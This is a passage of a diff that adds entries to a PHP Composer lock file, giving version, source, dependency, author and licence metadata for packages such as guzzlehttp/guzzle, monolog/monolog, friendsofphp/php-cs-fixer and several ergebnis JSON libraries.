~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" + }, + "require-dev": { + "ergebnis/data-provider": "^3.2.0", + "ergebnis/license": "^2.4.0", + "ergebnis/php-cs-fixer-config": "^6.20.0", + "ergebnis/phpunit-slow-test-detector": "^2.9.0", + "fakerphp/faker": "^1.23.1", + "infection/infection": "~0.26.6", + "phpunit/phpunit": "^9.6.16", + "psalm/plugin-phpunit": "~0.18.4", + "rector/rector": "~0.19.2", + "vimeo/psalm": "^5.20.0" + }, + "type": "library", + "extra": { + "composer-normalize": { + "indent-size": 2, + "indent-style": "space" + } + }, + "autoload": { + "psr-4": { + "Ergebnis\\Json\\Pointer\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andreas Möller", + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" + } + ], + "description": "Provides an abstraction of a JSON pointer.", + "homepage": "https://github.com/ergebnis/json-pointer", + "keywords": [ + "RFC6901", + "json", + "pointer" + ], + "support": { + "issues": "https://github.com/ergebnis/json-pointer/issues", + "security": "https://github.com/ergebnis/json-pointer/blob/main/.github/SECURITY.md", + "source": "https://github.com/ergebnis/json-pointer" + }, + "time": "2024-01-29T16:37:15+00:00" + }, + { + "name": "ergebnis/json-printer", + "version": "3.5.0", + "source": { + "type": "git", + "url": "https://github.com/ergebnis/json-printer.git", + "reference": "549e16fe6de34b8c3aee7b421be12caa552f3ced" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ergebnis/json-printer/zipball/549e16fe6de34b8c3aee7b421be12caa552f3ced", + "reference": "549e16fe6de34b8c3aee7b421be12caa552f3ced", + "shasum": "" + }, + "require": { + "ext-json": "*", + "ext-mbstring": "*", + "php": "~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" + }, + "require-dev": { + "ergebnis/data-provider": "^3.2.0", + "ergebnis/license": "^2.4.0", + "ergebnis/php-cs-fixer-config": "^6.20.0", + "ergebnis/phpunit-slow-test-detector": "^2.9.0", + "fakerphp/faker": "^1.23.1", + "infection/infection": "~0.26.6", + "phpunit/phpunit": "^9.6.16", + "psalm/plugin-phpunit": "~0.18.4", + "rector/rector": "~0.19.2", + "vimeo/psalm": "^5.20.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Ergebnis\\Json\\Printer\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andreas Möller", + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" + } + ], + "description": "Provides a JSON printer, allowing for flexible indentation.", + "homepage": "https://github.com/ergebnis/json-printer", + "keywords": [ + "formatter", + "json", + "printer" + ], + "support": { + "issues": "https://github.com/ergebnis/json-printer/issues", + "security": "https://github.com/ergebnis/json-printer/blob/main/.github/SECURITY.md", + "source": "https://github.com/ergebnis/json-printer" + }, + "time": "2024-01-29T15:33:37+00:00" + }, + { + "name": "ergebnis/json-schema-validator", + "version": "4.2.0", + "source": { + "type": "git", + "url": "https://github.com/ergebnis/json-schema-validator.git", + "reference": "10ed514fdc3f9b71f8a92c567afea21a2f6fa1ef" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ergebnis/json-schema-validator/zipball/10ed514fdc3f9b71f8a92c567afea21a2f6fa1ef", + "reference": "10ed514fdc3f9b71f8a92c567afea21a2f6fa1ef", + "shasum": "" + }, + "require": { + "ergebnis/json": "^1.2.0", + "ergebnis/json-pointer": "^3.4.0", + "ext-json": "*", + "justinrainbow/json-schema": "^5.2.12", + "php": "~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" + }, + "require-dev": { + "ergebnis/data-provider": "^3.2.0", + "ergebnis/license": "^2.4.0", + "ergebnis/php-cs-fixer-config": "^6.20.0", + "ergebnis/phpunit-slow-test-detector": "^2.9.0", + "fakerphp/faker": "^1.23.1", + "infection/infection": "~0.26.6", + "phpunit/phpunit": "^9.6.16", + "psalm/plugin-phpunit": "~0.18.4", + "rector/rector": "~0.19.2", + "vimeo/psalm": "^5.20.0" + }, + "type": "library", + "extra": { + "composer-normalize": { + "indent-size": 2, + "indent-style": "space" + } + }, + "autoload": { + "psr-4": { + "Ergebnis\\Json\\SchemaValidator\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andreas Möller", + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" + } + ], + "description": "Provides a JSON schema validator, building on top of justinrainbow/json-schema.", + "homepage": "https://github.com/ergebnis/json-schema-validator", + "keywords": [ + "json", + "schema", + "validator" + ], + "support": { + "issues": "https://github.com/ergebnis/json-schema-validator/issues", + "security": "https://github.com/ergebnis/json-schema-validator/blob/main/.github/SECURITY.md", + "source": "https://github.com/ergebnis/json-schema-validator" + }, + "time": "2024-01-29T16:50:15+00:00" + }, + { + "name": "friendsofphp/php-cs-fixer", + "version": "v3.49.0", + "source": { + "type": "git", + "url": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer.git", + "reference": "8742f7aa6f72a399688b65e4f58992c2d4681fc2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHP-CS-Fixer/PHP-CS-Fixer/zipball/8742f7aa6f72a399688b65e4f58992c2d4681fc2", + "reference": "8742f7aa6f72a399688b65e4f58992c2d4681fc2", + "shasum": "" + }, + "require": { + "composer/semver": "^3.4", + "composer/xdebug-handler": "^3.0.3", + "ext-filter": "*", + "ext-json": "*", + "ext-tokenizer": "*", + "php": "^7.4 || ^8.0", + "sebastian/diff": "^4.0 || ^5.0", + "symfony/console": "^5.4 || ^6.0 || ^7.0", + "symfony/event-dispatcher": "^5.4 || ^6.0 || ^7.0", + "symfony/filesystem": "^5.4 || ^6.0 || ^7.0", + "symfony/finder": "^5.4 || ^6.0 || ^7.0", + "symfony/options-resolver": "^5.4 || ^6.0 || ^7.0", + "symfony/polyfill-mbstring": "^1.28", + "symfony/polyfill-php80": "^1.28", + "symfony/polyfill-php81": "^1.28", + "symfony/process": "^5.4 || ^6.0 || ^7.0", + "symfony/stopwatch": "^5.4 || ^6.0 || ^7.0" + }, + "require-dev": { + "facile-it/paraunit": "^1.3 || ^2.0", + "justinrainbow/json-schema": "^5.2", + "keradus/cli-executor": "^2.1", + "mikey179/vfsstream": "^1.6.11", + "php-coveralls/php-coveralls": "^2.7", + "php-cs-fixer/accessible-object": "^1.1", + "php-cs-fixer/phpunit-constraint-isidenticalstring": "^1.4", + "php-cs-fixer/phpunit-constraint-xmlmatchesxsd": "^1.4", + "phpunit/phpunit": "^9.6 || ^10.5.5", + "symfony/yaml": "^5.4 || ^6.0 || ^7.0" + }, + "suggest": { + "ext-dom": "For handling output formats in XML", + "ext-mbstring": "For handling non-UTF8 characters." + }, + "bin": [ + "php-cs-fixer" + ], + "type": "application", + "autoload": { + "psr-4": { + "PhpCsFixer\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Dariusz Rumiński", + "email": "dariusz.ruminski@gmail.com" + } + ], + "description": "A tool to automatically fix PHP code style", + "keywords": [ + "Static code analysis", + "fixer", + "standards", + "static analysis" + ], + "support": { + "issues": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/issues", + "source": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/tree/v3.49.0" + }, + "funding": [ + { + "url": "https://github.com/keradus", + "type": "github" + } + ], + "time": "2024-02-02T00:41:40+00:00" + }, + { + "name": "guzzlehttp/guzzle", + "version": "7.8.1", + "source": { + "type": "git", + "url": "https://github.com/guzzle/guzzle.git", + "reference": "41042bc7ab002487b876a0683fc8dce04ddce104" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/guzzle/zipball/41042bc7ab002487b876a0683fc8dce04ddce104", + "reference": "41042bc7ab002487b876a0683fc8dce04ddce104", + "shasum": "" + }, + "require": { + "ext-json": "*", + "guzzlehttp/promises": "^1.5.3 || ^2.0.1", + "guzzlehttp/psr7": "^1.9.1 || ^2.5.1", + "php": "^7.2.5 || ^8.0", + "psr/http-client": "^1.0", + "symfony/deprecation-contracts": "^2.2 || ^3.0" + }, + "provide": { + "psr/http-client-implementation": "1.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "ext-curl": "*", + "php-http/client-integration-tests": "dev-master#2c025848417c1135031fdf9c728ee53d0a7ceaee as 3.0.999", + "php-http/message-factory": "^1.1", + "phpunit/phpunit": "^8.5.36 || ^9.6.15", + "psr/log": "^1.1 || ^2.0 || ^3.0" + }, + "suggest": { + "ext-curl": "Required for CURL handler support", + "ext-intl": "Required for Internationalized Domain Name (IDN) support", + "psr/log": "Required for using the Log middleware" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle is a PHP HTTP client library", + "keywords": [ + "client", + "curl", + "framework", + "http", + "http client", + "psr-18", + "psr-7", + "rest", + "web service" + ], + "support": { + "issues": "https://github.com/guzzle/guzzle/issues", + "source": "https://github.com/guzzle/guzzle/tree/7.8.1" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/guzzle", + "type": "tidelift" + } + ], + "time": "2023-12-03T20:35:24+00:00" + }, + { + "name": "guzzlehttp/promises", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/guzzle/promises.git", + "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/promises/zipball/bbff78d96034045e58e13dedd6ad91b5d1253223", + "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.36 || ^9.6.15" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\Promise\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle promises library", + "keywords": [ + "promise" + ], + "support": { + "issues": "https://github.com/guzzle/promises/issues", + "source": "https://github.com/guzzle/promises/tree/2.0.2" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/promises", + "type": "tidelift" + } + ], + "time": "2023-12-03T20:19:20+00:00" + }, + { + "name": "guzzlehttp/psr7", + "version": "2.6.2", + "source": { + "type": "git", + "url": "https://github.com/guzzle/psr7.git", + "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/psr7/zipball/45b30f99ac27b5ca93cb4831afe16285f57b8221", + "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "psr/http-factory": "^1.0", + "psr/http-message": "^1.1 || ^2.0", + "ralouphie/getallheaders": "^3.0" + }, + "provide": { + "psr/http-factory-implementation": "1.0", + "psr/http-message-implementation": "1.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "http-interop/http-factory-tests": "^0.9", + "phpunit/phpunit": "^8.5.36 || ^9.6.15" + }, + "suggest": { + "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\Psr7\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://sagikazarmark.hu" + } + ], + "description": "PSR-7 message implementation that also provides common utility methods", + "keywords": [ + "http", + "message", + "psr-7", + "request", + "response", + "stream", + "uri", + "url" + ], + "support": { + "issues": "https://github.com/guzzle/psr7/issues", + "source": "https://github.com/guzzle/psr7/tree/2.6.2" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/psr7", + "type": "tidelift" + } + ], + "time": "2023-12-03T20:05:35+00:00" + }, + { + "name": "jawira/plantuml-client", + "version": "v1.0.3", + "source": { + "type": "git", + "url": "https://github.com/jawira/plantuml-client.git", + "reference": "28ca92b4e0825bd7f3a82fed10c7f3dbe0657fd5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jawira/plantuml-client/zipball/28ca92b4e0825bd7f3a82fed10c7f3dbe0657fd5", + "reference": "28ca92b4e0825bd7f3a82fed10c7f3dbe0657fd5", + "shasum": "" + }, + "require": { + "jawira/plantuml-encoding": "^1.0", + "php": ">=7.4" + }, + "require-dev": { + "ergebnis/composer-normalize": "^2.13", + "ext-fileinfo": "*", + "jawira/skeleton": "^2.16", + "phpstan/phpstan": "^1.8", + "phpunit/phpunit": "^9.5" + }, + "suggest": { + "pds/skeleton": "Standard PHP package skeleton." + }, + "type": "library", + "autoload": { + "psr-4": { + "Jawira\\PlantUmlClient\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jawira Portugal", + "email": "dev@tugal.be" + } + ], + "description": "Convert PlantUML diagrams into images.", + "keywords": [ + "diagram", + "image", + "plantuml", + "uml" + ], + "support": { + "issues": "https://github.com/jawira/plantuml-client/issues", + "source": "https://github.com/jawira/plantuml-client/tree/v1.0.3" + }, + "time": "2022-11-08T23:48:25+00:00" + }, + { + "name": "jawira/plantuml-encoding", + "version": "v1.1.0", + "source": { + "type": "git", + "url": "https://github.com/jawira/plantuml-encoding.git", + "reference": "cec097dfc062e7e13655d9594eacce5f9df639ad" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jawira/plantuml-encoding/zipball/cec097dfc062e7e13655d9594eacce5f9df639ad", + "reference": "cec097dfc062e7e13655d9594eacce5f9df639ad", + "shasum": "" + }, + "require": { + "ext-zlib": "*", + "php": ">=7.0" + }, + "require-dev": { + "jawira/skeleton": "^2.14", + "phpstan/phpstan": "^1.0", + "vimeo/psalm": "^4.0" + }, + "type": "library", + "autoload": { + "files": [ + "src/plantuml_functions.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jawira Portugal", + "homepage": "https://jawira.com" + } + ], + "description": "PlantUML encoding functions", + "keywords": [ + "encodep", + "encoding", + "functions", + "plantuml", + "uml" + ], + "support": { + "issues": "https://github.com/jawira/plantuml-encoding/issues", + "source": "https://github.com/jawira/plantuml-encoding/tree/v1.1.0" + }, + "time": "2022-05-31T18:58:21+00:00" + }, + { + "name": "justinrainbow/json-schema", + "version": "v5.2.13", + "source": { + "type": "git", + "url": "https://github.com/justinrainbow/json-schema.git", + "reference": "fbbe7e5d79f618997bc3332a6f49246036c45793" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/justinrainbow/json-schema/zipball/fbbe7e5d79f618997bc3332a6f49246036c45793", + "reference": "fbbe7e5d79f618997bc3332a6f49246036c45793", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "~2.2.20||~2.15.1", + "json-schema/json-schema-test-suite": "1.2.0", + "phpunit/phpunit": "^4.8.35" + }, + "bin": [ + "bin/validate-json" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "JsonSchema\\": "src/JsonSchema/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bruno Prieto Reis", + "email": "bruno.p.reis@gmail.com" + }, + { + "name": "Justin Rainbow", + "email": "justin.rainbow@gmail.com" + }, + { + "name": "Igor Wiedler", + "email": "igor@wiedler.ch" + }, + { + "name": "Robert Schönthal", + "email": "seroscho@googlemail.com" + } + ], + "description": "A library to validate a json schema.", + "homepage": "https://github.com/justinrainbow/json-schema", + "keywords": [ + "json", + "schema" + ], + "support": { + "issues": "https://github.com/justinrainbow/json-schema/issues", + "source": "https://github.com/justinrainbow/json-schema/tree/v5.2.13" + }, + "time": "2023-09-26T02:20:38+00:00" + }, + { + "name": "localheinz/diff", + "version": "1.1.1", + "source": { + "type": "git", + "url": "https://github.com/localheinz/diff.git", + "reference": "851bb20ea8358c86f677f5f111c4ab031b1c764c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/localheinz/diff/zipball/851bb20ea8358c86f677f5f111c4ab031b1c764c", + "reference": "851bb20ea8358c86f677f5f111c4ab031b1c764c", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "phpunit/phpunit": "^7.5 || ^8.0", + "symfony/process": "^4.2 || ^5" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Kore Nordmann", + "email": "mail@kore-nordmann.de" + } + ], + "description": "Fork of sebastian/diff for use with ergebnis/composer-normalize", + "homepage": "https://github.com/localheinz/diff", + "keywords": [ + "diff", + "udiff", + "unidiff", + "unified diff" + ], + "support": { + "source": "https://github.com/localheinz/diff/tree/main" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-07-06T04:49:32+00:00" + }, + { + "name": "mehr-als-nix/parallel", + "version": "v1.0.0", + "source": { + "type": "git", + "url": "https://github.com/MehrAlsNix/Parallel.git", + "reference": "14a71eb1a8f851108bed4a5b32d1c1027976e8f3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/MehrAlsNix/Parallel/zipball/14a71eb1a8f851108bed4a5b32d1c1027976e8f3", + "reference": "14a71eb1a8f851108bed4a5b32d1c1027976e8f3", + "shasum": "" + }, + "require-dev": { + "phpunit/phpunit": "^6.5" + }, + "type": "library", + "autoload": { + "psr-4": { + "MehrAlsNix\\Parallel\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "siad007", + "email": "siad.ardroumli@gmail.com" + } + ], + "description": "This package is a port of PhpDumentor/Parallel", + "support": { + "source": "https://github.com/MehrAlsNix/Parallel/tree/master" + }, + "time": "2017-12-10T12:33:51+00:00" + }, + { + "name": "mikey179/vfsstream", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://github.com/bovigo/vfsStream.git", + "reference": "dd9277d9d27b5406f903e6b06df99825c32ea3b2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/bovigo/vfsStream/zipball/dd9277d9d27b5406f903e6b06df99825c32ea3b2", + "reference": "dd9277d9d27b5406f903e6b06df99825c32ea3b2", + "shasum": "" + }, + "require": { + "php": "^7.2|^8.0" + }, + "require-dev": { + "bovigo/assert": "^6.2", + "bovigo/callmap": "^6.2.1", + "dealerdirect/phpcodesniffer-composer-installer": "^0.7.1", + "doctrine/coding-standard": "^8.2.1", + "phpstan/phpstan": "^0.12.94", + "phpstan/phpstan-deprecation-rules": "^0.12.6", + "phpstan/phpstan-phpunit": "^0.12.21", + "phpunit/phpunit": "^9.5.8", + "squizlabs/php_codesniffer": "^3.6.0" + }, + "default-branch": true, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "bovigo\\vfs\\": "src", + "org\\bovigo\\vfs\\": "org/bovigo/vfs" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Frank Kleine", + "homepage": "http://frankkleine.de/", + "role": "Developer" + } + ], + "description": "Virtual file system to mock the real file system in unit tests.", + "homepage": "http://vfs.bovigo.org/", + "support": { + "issues": "https://github.com/bovigo/vfsStream/issues", + "source": "https://github.com/bovigo/vfsStream/tree/master", + "wiki": "https://github.com/bovigo/vfsStream/wiki" + }, + "time": "2022-07-26T07:37:46+00:00" + }, + { + "name": "monolog/monolog", + "version": "2.9.2", + "source": { + "type": "git", + "url": "https://github.com/Seldaek/monolog.git", + "reference": "437cb3628f4cf6042cc10ae97fc2b8472e48ca1f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Seldaek/monolog/zipball/437cb3628f4cf6042cc10ae97fc2b8472e48ca1f", + "reference": "437cb3628f4cf6042cc10ae97fc2b8472e48ca1f", + "shasum": "" + }, + "require": { + "php": ">=7.2", + "psr/log": "^1.0.1 || ^2.0 || ^3.0" + }, + "provide": { + "psr/log-implementation": "1.0.0 || 2.0.0 || 3.0.0" + }, + "require-dev": { + "aws/aws-sdk-php": "^2.4.9 || ^3.0", + "doctrine/couchdb": "~1.0@dev", + "elasticsearch/elasticsearch": "^7 || ^8", + "ext-json": "*", + "graylog2/gelf-php": "^1.4.2 || ^2@dev", + "guzzlehttp/guzzle": "^7.4", + "guzzlehttp/psr7": "^2.2", + "mongodb/mongodb": "^1.8", + "php-amqplib/php-amqplib": "~2.4 || ^3", + "phpspec/prophecy": "^1.15", + "phpstan/phpstan": "^0.12.91", + "phpunit/phpunit": "^8.5.14", + "predis/predis": "^1.1 || ^2.0", + "rollbar/rollbar": "^1.3 || ^2 || ^3", + "ruflin/elastica": "^7", + "swiftmailer/swiftmailer": "^5.3|^6.0", + "symfony/mailer": "^5.4 || ^6", + "symfony/mime": "^5.4 || ^6" + }, + "suggest": { + "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", + "doctrine/couchdb": "Allow sending log messages to a CouchDB server", + "elasticsearch/elasticsearch": "Allow sending log messages to an Elasticsearch server via official client", + "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", + "ext-curl": "Required to send log messages using the IFTTTHandler, the LogglyHandler, the SendGridHandler, the SlackWebhookHandler or the TelegramBotHandler", + "ext-mbstring": "Allow to work properly with unicode symbols", + "ext-mongodb": "Allow sending log messages to a MongoDB server (via driver)", + "ext-openssl": "Required to send log messages using SSL", + "ext-sockets": "Allow sending log messages to a Syslog server (via UDP driver)", + "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", + "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)", + "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", + "rollbar/rollbar": "Allow sending log messages to Rollbar", + "ruflin/elastica": "Allow sending log messages to an Elastic Search server" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "Monolog\\": "src/Monolog" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "https://seld.be" + } + ], + "description": "Sends your logs to files, sockets, inboxes, databases and various web services", + "homepage": "https://github.com/Seldaek/monolog", + "keywords": [ + "log", + "logging", + "psr-3" + ], + "support": { + "issues": "https://github.com/Seldaek/monolog/issues", + "source": "https://github.com/Seldaek/monolog/tree/2.9.2" + }, + "funding": [ + { + "url": "https://github.com/Seldaek", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/monolog/monolog", + "type": "tidelift" + } + ], + "time": "2023-10-27T15:25:26+00:00" + }, + { + "name": "mtdowling/jmespath.php", + "version": "2.7.0", + "source": { + "type": "git", + "url": "https://github.com/jmespath/jmespath.php.git", + "reference": "bbb69a935c2cbb0c03d7f481a238027430f6440b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jmespath/jmespath.php/zipball/bbb69a935c2cbb0c03d7f481a238027430f6440b", + "reference": "bbb69a935c2cbb0c03d7f481a238027430f6440b", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "symfony/polyfill-mbstring": "^1.17" + }, + "require-dev": { + "composer/xdebug-handler": "^3.0.3", + "phpunit/phpunit": "^8.5.33" + }, + "bin": [ + "bin/jp.php" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "autoload": { + "files": [ + "src/JmesPath.php" + ], + "psr-4": { + "JmesPath\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + } + ], + "description": "Declaratively specify how to extract elements from a JSON document", + "keywords": [ + "json", + "jsonpath" + ], + "support": { + "issues": "https://github.com/jmespath/jmespath.php/issues", + "source": "https://github.com/jmespath/jmespath.php/tree/2.7.0" + }, + "time": "2023-08-25T10:54:48+00:00" + }, + { + "name": "myclabs/deep-copy", + "version": "1.11.1", + "source": { + "type": "git", + "url": "https://github.com/myclabs/DeepCopy.git", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "conflict": { + "doctrine/collections": "<1.6.8", + "doctrine/common": "<2.13.3 || >=3,<3.2.2" + }, + "require-dev": { + "doctrine/collections": "^1.6.8", + "doctrine/common": "^2.13.3 || ^3.2.2", + "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" + }, + "type": "library", + "autoload": { + "files": [ + "src/DeepCopy/deep_copy.php" + ], + "psr-4": { + "DeepCopy\\": "src/DeepCopy/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Create deep copies (clones) of your objects", + "keywords": [ + "clone", + "copy", + "duplicate", + "object", + "object graph" + ], + "support": { + "issues": "https://github.com/myclabs/DeepCopy/issues", + "source": "https://github.com/myclabs/DeepCopy/tree/1.11.1" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", + "type": "tidelift" + } + ], + "time": "2023-03-08T13:26:56+00:00" + }, + { + "name": "nikic/php-parser", + "version": "v5.0.0", + "source": { + "type": "git", + "url": "https://github.com/nikic/PHP-Parser.git", + "reference": "4a21235f7e56e713259a6f76bf4b5ea08502b9dc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/4a21235f7e56e713259a6f76bf4b5ea08502b9dc", + "reference": "4a21235f7e56e713259a6f76bf4b5ea08502b9dc", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-json": "*", + "ext-tokenizer": "*", + "php": ">=7.4" + }, + "require-dev": { + "ircmaxell/php-yacc": "^0.0.7", + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0" + }, + "bin": [ + "bin/php-parse" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { 